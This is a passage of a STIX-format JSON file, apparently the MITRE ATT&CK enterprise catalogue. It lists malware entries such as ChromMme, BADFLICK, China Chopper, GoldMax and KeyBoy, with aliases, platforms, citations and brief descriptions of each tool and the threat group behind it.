weapons development. The name \"[ShimRat](https://attack.mitre.org/software/S0444)\" comes from the malware's extensive use of Windows Application Shimming to maintain persistence. (Citation: FOX-IT May 2016 Mofang)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["Chrommme"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--579607c2-d046-40df-99ab-beb479c37a2a","type":"malware","created":"2021-12-01T18:36:54.260Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0667","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0667"},{"source_name":"ESET Gelsemium June 2021","url":"https://www.welivesecurity.com/wp-content/uploads/2021/06/eset_gelsemium.pdf","description":"Dupuy, T. and Faou, M. (2021, June). Gelsemium. Retrieved November 30, 2021."}],"modified":"2021-12-01T18:55:30.931Z","name":"Chrommme","description":"[Chrommme](https://attack.mitre.org/software/S0667) is a backdoor tool, written using the Microsoft Foundation Class (MFC) framework, that has infrastructure overlaps with [Gelsemium](https://attack.mitre.org/software/S0666).(Citation: ESET Gelsemium June 2021)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["BADFLICK"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--57d83eac-a2ea-42b0-a7b2-c80c55157790","type":"malware","created":"2021-08-26T18:49:41.155Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0642","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0642"},{"source_name":"FireEye Periscope March 2018","description":"FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.","url":"https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html"},{"source_name":"Accenture MUDCARP March 2019","url":"https://www.accenture.com/us-en/blogs/cyber-defense/mudcarps-focus-on-submarine-technologies","description":"Accenture iDefense Unit. (2019, March 5). Mudcarp's Focus on Submarine Technologies. Retrieved August 24, 2021."}],"modified":"2021-10-15T11:41:06.816Z","name":"BADFLICK","description":"[BADFLICK](https://attack.mitre.org/software/S0642) is a backdoor used by [Leviathan](https://attack.mitre.org/groups/G0065) in spearphishing campaigns first reported in 2018 that targeted the U.S. engineering and maritime industries.(Citation: FireEye Periscope March 2018)(Citation: Accenture MUDCARP March 2019)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["ObliqueRAT"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--5864e59f-eb4c-43ad-83b2-b5e4fae056c9","type":"malware","created":"2021-09-08T19:53:27.937Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0644","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0644"},{"source_name":"Talos Oblique RAT March 2021","url":"https://blog.talosintelligence.com/2021/02/obliquerat-new-campaign.html","description":"Malhotra, A. (2021, March 2). ObliqueRAT returns with new campaign using hijacked websites. Retrieved September 2, 2021."},{"source_name":"Talos Transparent Tribe May 2021","url":"https://blog.talosintelligence.com/2021/05/transparent-tribe-infra-and-targeting.html","description":"Malhotra, A. et al. (2021, May 13). Transparent Tribe APT expands its Windows malware arsenal. Retrieved September 2, 2021."}],"modified":"2021-10-15T14:43:12.250Z","name":"ObliqueRAT","description":"[ObliqueRAT](https://attack.mitre.org/software/S0644) is a remote access trojan, similar to [Crimson](https://attack.mitre.org/software/S0115), that has been in use by [Transparent Tribe](https://attack.mitre.org/groups/G0134) since at least 2020.(Citation: Talos Oblique RAT March 2021)(Citation: Talos Transparent Tribe May 2021)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["SHOTPUT","Backdoor.APT.CookieCutter","Pirpi"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--58adaaa8-f1e8-4606-9a08-422e568461eb","type":"malware","created":"2017-05-31T21:32:42.754Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0063","external_id":"S0063"},{"source_name":"Backdoor.APT.CookieCutter","description":"(Citation: FireEye Clandestine Fox Part 2)"},{"source_name":"Pirpi","description":"(Citation: FireEye Clandestine Fox Part 2)"},{"source_name":"FireEye Clandestine Wolf","description":"Eng, E., Caselden, D.. (2015, June 23). Operation Clandestine Wolf – Adobe Flash Zero-Day in APT3 Phishing Campaign. Retrieved January 14, 2016.","url":"https://www.fireeye.com/blog/threat-research/2015/06/operation-clandestine-wolf-adobe-flash-zero-day.html"},{"source_name":"FireEye Clandestine Fox Part 2","description":"Scott, M.. (2014, June 10). Clandestine Fox, Part Deux. Retrieved January 14, 2016.","url":"https://www.fireeye.com/blog/threat-research/2014/06/clandestine-fox-part-deux.html"}],"modified":"2020-03-30T18:09:41.437Z","name":"SHOTPUT","description":"[SHOTPUT](https://attack.mitre.org/software/S0063) is a custom backdoor used by [APT3](https://attack.mitre.org/groups/G0022). (Citation: FireEye Clandestine Wolf)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Matt Brenton, Zurich Global Information Security"],"x_mitre_aliases":["Avaddon"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--58c5a3a1-928f-4094-9e98-a5a4e56dd5f3","type":"malware","created":"2021-08-23T19:38:33.073Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0640","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0640"},{"source_name":"Awake Security Avaddon","url":"https://awakesecurity.com/blog/threat-hunting-for-avaddon-ransomware/","description":"Gahlot, A. (n.d.). Threat Hunting for Avaddon Ransomware. Retrieved August 19, 2021."},{"source_name":"Arxiv Avaddon Feb 2021","url":"https://arxiv.org/pdf/2102.04796.pdf","description":"Yuste, J. Pastrana, S. (2021, February 9). Avaddon ransomware: an in-depth analysis and decryption of infected systems. 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(n.d.). The Conficker Worm. Retrieved February 18, 2021."},{"source_name":"Conficker Nuclear Power Plant","url":"https://news.softpedia.com/news/on-chernobyl-s-30th-anniversary-malware-shuts-down-german-nuclear-power-plant-503429.shtml","description":"Cimpanu, C. (2016, April 26). Malware Shuts Down German Nuclear Power Plant on Chernobyl's 30th Anniversary. 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(2021, December 28).  Flagpro The new malware used by BlackTech. Retrieved March 25, 2022."}],"modified":"2022-04-01T14:41:47.579Z","name":"Flagpro","description":"[Flagpro](https://attack.mitre.org/software/S0696) is a Windows-based, first-stage downloader that has been used by [BlackTech](https://attack.mitre.org/groups/G0098) since at least October 2020. It has primarily been used against defense, media, and communications companies in Japan.(Citation: NTT Security Flagpro new December 2021) ","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["Hi-Zor"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--5967cc93-57c9-404a-8ffd-097edfa7bdfc","type":"malware","created":"2017-05-31T21:32:56.860Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0087","external_id":"S0087"},{"source_name":"Fidelis Hi-Zor","description":"Fidelis Threat Research Team. (2016, January 27). Introducing Hi-Zor RAT. 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(Citation: Fidelis Hi-Zor)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["SpicyOmelette"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--599cd7b5-37b5-4cdd-8174-2811531ce9d0","type":"malware","created":"2021-09-21T14:55:00.996Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0646","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0646"},{"source_name":"Secureworks GOLD KINGSWOOD September 2018","url":"https://www.secureworks.com/blog/cybercriminals-increasingly-trying-to-ensnare-the-big-financial-fish","description":"CTU. (2018, September 27). Cybercriminals Increasingly Trying to Ensnare the Big Financial Fish. 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(2017, February 14). XAgentOSX: Sofacy's Xagent macOS Tool. Retrieved July 12, 2017.","source_name":"XAgentOSX 2017"},{"description":"Symantec Security Response. (2018, October 04). APT28: New Espionage Operations Target Military and Government Organizations. Retrieved November 14, 2018.","url":"https://www.symantec.com/blogs/election-security/apt28-espionage-military-government","source_name":"Symantec APT28 Oct 2018"}],"modified":"2020-03-30T18:30:21.733Z","name":"XAgentOSX","description":"[XAgentOSX](https://attack.mitre.org/software/S0161) is a trojan that has been used by [APT28](https://attack.mitre.org/groups/G0007)  on OS X and appears to be a port of their standard [CHOPSTICK](https://attack.mitre.org/software/S0023) or XAgent trojan. (Citation: XAgentOSX 2017)","x_mitre_version":"1.3","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows","iOS","macOS","Linux"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Runa Sandvik"],"x_mitre_aliases":["Green Lambert"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"malware","id":"malware--59c8a28c-200c-4565-9af1-cbdb24870ba0","created":"2022-03-21T20:55:40.638Z","x_mitre_version":"1.0","external_references":[{"source_name":"mitre-attack","external_id":"S0690","url":"https://attack.mitre.org/software/S0690"},{"source_name":"Green Lambert","description":"(Citation: Kaspersky Lamberts Toolkit April 2017)"},{"source_name":"Kaspersky Lamberts Toolkit April 2017","url":"https://securelist.com/unraveling-the-lamberts-toolkit/77990/","description":"GREAT. (2017, April 11). Unraveling the Lamberts Toolkit. Retrieved March 21, 2022."},{"source_name":"Objective See Green Lambert for OSX Oct 2021","url":"https://objective-see.com/blog/blog_0x68.html","description":"Sandvik, Runa. (2021, October 1). Made In America: Green Lambert for OS X. Retrieved March 21, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Green Lambert](https://attack.mitre.org/software/S0690) is a modular backdoor that security researchers assess has been used by an advanced threat group referred to as Longhorn and The Lamberts. First reported in 2017, the Windows variant of [Green Lambert](https://attack.mitre.org/software/S0690) may have been used as early as 2008; a macOS version was uploaded to a multiscanner service in September 2014.(Citation: Kaspersky Lamberts Toolkit April 2017)(Citation: Objective See Green Lambert for OSX Oct 2021)  ","modified":"2022-04-20T18:12:24.193Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"Green Lambert","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["China Chopper"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"malware","id":"malware--5a3a31fe-5a8f-48e1-bff0-a753e5b1be70","created":"2017-05-31T21:32:18.315Z","x_mitre_version":"2.3","external_references":[{"source_name":"mitre-attack","external_id":"S0020","url":"https://attack.mitre.org/software/S0020"},{"source_name":"China Chopper","description":"(Citation: Dell TG-3390) (Citation: FireEye Periscope March 2018)"},{"source_name":"CISA AA21-200A APT40 July 2021","url":"https://us-cert.cisa.gov/ncas/alerts/aa21-200a","description":"CISA. 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Retrieved April 11, 2018."},{"source_name":"Lee 2013","url":"https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-i.html","description":"Lee, T., Hanzlik, D., Ahl, I. (2013, August 7). Breaking Down the China Chopper Web Shell - Part I. Retrieved March 27, 2015."}],"x_mitre_deprecated":false,"revoked":false,"description":"[China Chopper](https://attack.mitre.org/software/S0020) is a [Web Shell](https://attack.mitre.org/techniques/T1505/003) hosted on Web servers to provide access back into an enterprise network that does not rely on an infected system calling back to a remote command and control server. (Citation: Lee 2013) It has been used by several threat groups. (Citation: Dell TG-3390) (Citation: FireEye Periscope March 2018)(Citation: CISA AA21-200A APT40 July 2021)","modified":"2022-04-15T15:15:51.199Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"China Chopper","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["CALENDAR"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--5a84dc36-df0d-4053-9b7c-f0c388a57283","type":"malware","created":"2017-05-31T21:32:20.137Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0025","external_id":"S0025"},{"source_name":"Mandiant APT1","description":"Mandiant. (n.d.). APT1 Exposing One of China’s Cyber Espionage Units. Retrieved July 18, 2016.","url":"https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf"}],"modified":"2020-03-30T15:12:21.836Z","name":"CALENDAR","description":"[CALENDAR](https://attack.mitre.org/software/S0025) is malware used by [APT1](https://attack.mitre.org/groups/G0006) that mimics legitimate Gmail Calendar traffic. (Citation: Mandiant APT1)","x_mitre_version":"1.2","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["LockerGoga"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"malware","id":"malware--5af7a825-2d9f-400d-931a-e00eb9e27f48","created":"2019-04-16T19:00:49.435Z","x_mitre_version":"2.0","external_references":[{"source_name":"mitre-attack","external_id":"S0372","url":"https://attack.mitre.org/software/S0372"},{"source_name":"CarbonBlack LockerGoga 2019","url":"https://www.carbonblack.com/2019/03/22/tau-threat-intelligence-notification-lockergoga-ransomware/","description":"CarbonBlack Threat Analysis Unit. (2019, March 22). TAU Threat Intelligence Notification – LockerGoga Ransomware. Retrieved April 16, 2019."},{"source_name":"Unit42 LockerGoga 2019","url":"https://unit42.paloaltonetworks.com/born-this-way-origins-of-lockergoga/","description":"Harbison, M. (2019, March 26). Born This Way? Origins of LockerGoga. Retrieved April 16, 2019."}],"x_mitre_deprecated":false,"revoked":false,"description":"[LockerGoga](https://attack.mitre.org/software/S0372) is ransomware that was first reported in January 2019, and has been tied to various attacks on European companies, including industrial and manufacturing firms.(Citation: Unit42 LockerGoga 2019)(Citation: CarbonBlack LockerGoga 2019)","modified":"2022-04-21T01:00:38.896Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"LockerGoga","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Linux"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["Chaos"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--5bcd5511-6756-4824-a692-e8bb109364af","type":"malware","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0220","external_id":"S0220"},{"source_name":"Chaos","description":"(Citation: Chaos Stolen Backdoor)"},{"source_name":"Chaos Stolen Backdoor","description":"Sebastian Feldmann. (2018, February 14). Chaos: a Stolen Backdoor Rising Again. Retrieved March 5, 2018.","url":"http://gosecure.net/2018/02/14/chaos-stolen-backdoor-rising/"}],"modified":"2020-07-01T18:30:55.286Z","name":"Chaos","description":"[Chaos](https://attack.mitre.org/software/S0220) is Linux malware that compromises systems by brute force attacks against SSH services. Once installed, it provides a reverse shell to its controllers, triggered by unsolicited packets. (Citation: Chaos Stolen Backdoor)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Robert Falcone"],"x_mitre_aliases":["ISMInjector"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--5be33fef-39c0-4532-84ee-bea31e1b5324","type":"malware","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0189","external_id":"S0189"},{"source_name":"ISMInjector","description":"(Citation: OilRig New Delivery Oct 2017)"},{"source_name":"OilRig New Delivery Oct 2017","description":"Falcone, R. and Lee, B. (2017, October 9). OilRig Group Steps Up Attacks with New Delivery Documents and New Injector Trojan. Retrieved January 8, 2018.","url":"https://researchcenter.paloaltonetworks.com/2017/10/unit42-oilrig-group-steps-attacks-new-delivery-documents-new-injector-trojan/"}],"modified":"2020-03-31T12:38:41.115Z","name":"ISMInjector","description":"[ISMInjector](https://attack.mitre.org/software/S0189) is a Trojan used to install another [OilRig](https://attack.mitre.org/groups/G0049) backdoor, ISMAgent. (Citation: OilRig New Delivery Oct 2017)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["PUNCHBUGGY","ShellTea"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--5c6ed2dc-37f4-40ea-b2e1-4c76140a388c","type":"malware","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0196","external_id":"S0196"},{"source_name":"PUNCHBUGGY","description":"(Citation: FireEye Fin8 May 2016) (Citation: FireEye Know Your Enemy FIN8 Aug 2016)"},{"source_name":"ShellTea","description":"(Citation: Morphisec ShellTea June 2019)"},{"source_name":"Morphisec ShellTea June 2019","url":"http://blog.morphisec.com/security-alert-fin8-is-back","description":"Gorelik, M.. (2019, June 10). SECURITY ALERT: FIN8 IS BACK IN BUSINESS, TARGETING THE HOSPITALITY INDUSTRY. Retrieved June 13, 2019."},{"url":"https://www.fireeye.com/blog/threat-research/2016/05/windows-zero-day-payment-cards.html","description":"Kizhakkinan, D. et al.. (2016, May 11). Threat Actor Leverages Windows Zero-day Exploit in Payment Card Data Attacks. Retrieved February 12, 2018.","source_name":"FireEye Fin8 May 2016"},{"url":"https://www2.fireeye.com/WBNR-Know-Your-Enemy-UNC622-Spear-Phishing.html","description":"Elovitz, S. & Ahl, I. (2016, August 18). Know Your Enemy:  New Financially-Motivated & Spear-Phishing Group. Retrieved February 26, 2018.","source_name":"FireEye Know Your Enemy FIN8 Aug 2016"}],"modified":"2021-02-09T14:07:10.907Z","name":"PUNCHBUGGY","description":"[PUNCHBUGGY](https://attack.mitre.org/software/S0196) is a backdoor malware used by [FIN8](https://attack.mitre.org/groups/G0061) that has been observed targeting POS networks in the hospitality industry. (Citation: Morphisec ShellTea June 2019)(Citation: FireEye Fin8 May 2016) (Citation: FireEye Know Your Enemy FIN8 Aug 2016)","x_mitre_version":"2.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows","Linux"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["GoldMax","SUNSHUTTLE"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"malware","id":"malware--5c747acd-47f0-4c5a-b9e5-213541fc01e0","created":"2021-03-12T16:10:45.416Z","x_mitre_version":"2.0","external_references":[{"source_name":"mitre-attack","external_id":"S0588","url":"https://attack.mitre.org/software/S0588"},{"source_name":"SUNSHUTTLE","description":"(Citation: FireEye SUNSHUTTLE Mar 2021)"},{"source_name":"GoldMax","description":"(Citation: MSTIC NOBELIUM Mar 2021)"},{"source_name":"CrowdStrike StellarParticle January 2022","url":"https://www.crowdstrike.com/blog/observations-from-the-stellarparticle-campaign/","description":"CrowdStrike. (2022, January 27). Early Bird Catches the Wormhole: Observations from the StellarParticle Campaign. Retrieved February 7, 2022."},{"source_name":"MSTIC NOBELIUM Mar 2021","url":"https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/","description":"Nafisi, R., Lelli, A. (2021, March 4). GoldMax, GoldFinder, and Sibot: Analyzing NOBELIUM’s layered persistence. Retrieved March 8, 2021."},{"source_name":"FireEye SUNSHUTTLE Mar 2021","url":"https://www.fireeye.com/blog/threat-research/2021/03/sunshuttle-second-stage-backdoor-targeting-us-based-entity.html","description":"Smith, L., Leathery, J., Read, B. (2021, March 4). New SUNSHUTTLE Second-Stage Backdoor Uncovered Targeting U.S.-Based Entity; Possible Connection to UNC2452. Retrieved March 12, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[GoldMax](https://attack.mitre.org/software/S0588) is a second-stage C2 backdoor written in Go with Windows and Linux variants that are nearly identical in functionality. [GoldMax](https://attack.mitre.org/software/S0588) was discovered in early 2021 during the investigation into the SolarWinds intrusion, and has likely been used by [APT29](https://attack.mitre.org/groups/G0016) since at least mid-2019. [GoldMax](https://attack.mitre.org/software/S0588) uses multiple defense evasion techniques, including avoiding virtualization execution and masking malicious traffic.(Citation: MSTIC NOBELIUM Mar 2021)(Citation: FireEye SUNSHUTTLE Mar 2021)(Citation: CrowdStrike StellarParticle January 2022)","modified":"2022-04-15T22:23:36.883Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"GoldMax","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["HELLOKITTY"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--5d11d418-95dd-4377-b782-23160dfa17b4","type":"malware","created":"2021-06-03T20:07:21.788Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0617","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0617"},{"source_name":"FireEye FiveHands April 2021","url":"https://www.fireeye.com/blog/threat-research/2021/04/unc2447-sombrat-and-fivehands-ransomware-sophisticated-financial-threat.html","description":"McLellan, T.  and Moore, J. et al. (2021, April 29). UNC2447 SOMBRAT and FIVEHANDS Ransomware: A Sophisticated Financial Threat. Retrieved June 2, 2021."}],"modified":"2021-10-18T18:33:58.599Z","name":"HELLOKITTY","description":"[HELLOKITTY](https://attack.mitre.org/software/S0617) is a ransomware written in C++  that shares similar code structure and functionality with [DEATHRANSOM](https://attack.mitre.org/software/S0616) and [FIVEHANDS](https://attack.mitre.org/software/S0618). [HELLOKITTY](https://attack.mitre.org/software/S0617) has been used since at least 2020, targets have included a Polish video game developer and a Brazilian electric power company.(Citation: FireEye FiveHands April 2021)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["CostaBricks"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--5d342981-5194-41e7-b33f-8e91998d7d88","type":"malware","created":"2021-05-24T15:56:18.522Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0614","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0614"},{"source_name":"BlackBerry CostaRicto November 2020","url":"https://blogs.blackberry.com/en/2020/11/the-costaricto-campaign-cyber-espionage-outsourced","description":"The BlackBerry Research and Intelligence Team. (2020, November 12). The CostaRicto Campaign: Cyber-Espionage Outsourced. Retrieved May 24, 2021."}],"modified":"2021-10-15T23:10:53.785Z","name":"CostaBricks","description":"[CostaBricks](https://attack.mitre.org/software/S0614) is a loader that was used to deploy 32-bit backdoors in the [CostaRicto](https://attack.mitre.org/groups/G0132) campaign.(Citation: BlackBerry CostaRicto November 2020)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Bart Parys"],"x_mitre_aliases":["KeyBoy"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--5dd649c0-bca4-488b-bd85-b180474ec62e","type":"malware","created":"2019-06-14T16:45:33.729Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0387","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0387"},{"source_name":"KeyBoy","description":"(Citation: PWC KeyBoys Feb 2017)(Citation: CitizenLab KeyBoy Nov 2016)(Citation: Rapid7 KeyBoy Jun 2013)"},{"source_name":"CitizenLab KeyBoy Nov 2016","url":"https://citizenlab.ca/2016/11/parliament-keyboy/","description":"Hulcoop, A., et al. (2016, November 17). It’s Parliamentary KeyBoy and the targeting of the Tibetan Community. Retrieved June 13, 2019."},{"source_name":"PWC KeyBoys Feb 2017","url":"https://www.pwc.co.uk/issues/cyber-security-data-privacy/research/the-keyboys-are-back-in-town.html","description":"Parys, B. (2017, February 11). The KeyBoys are back in town. Retrieved June 13, 2019."},{"source_name":"Rapid7 KeyBoy Jun 2013","url":"https://blog.rapid7.com/2013/06/07/keyboy-targeted-attacks-against-vietnam-and-india/","description":"Guarnieri, C., Schloesser M. (2013, June 7). KeyBoy, Targeted Attacks against Vietnam and India. Retrieved June 14, 2019."}],"modified":"2021-02-09T14:04:15.433Z","name":"KeyBoy","description":"[KeyBoy](https://attack.mitre.org/software/S0387) is malware that has been used in targeted campaigns against members of the Tibetan Parliament in 2016.(Citation: CitizenLab KeyBoy Nov 2016)(Citation: PWC KeyBoys Feb 2017)","x_mitre_version":"1.2","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["POSHSPY"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--5e595477-2e78-4ce7-ae42-e0b059b17808","type":"malware","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0150","external_id":"S0150"},{"source_name":"POSHSPY","description":"(Citation: FireEye POSHSPY April 2017)"},{"source_name":"FireEye POSHSPY April 2017","description":"Dunwoody, M.. (2017, April 3). Dissecting One of APT29’s Fileless WMI and PowerShell Backdoors 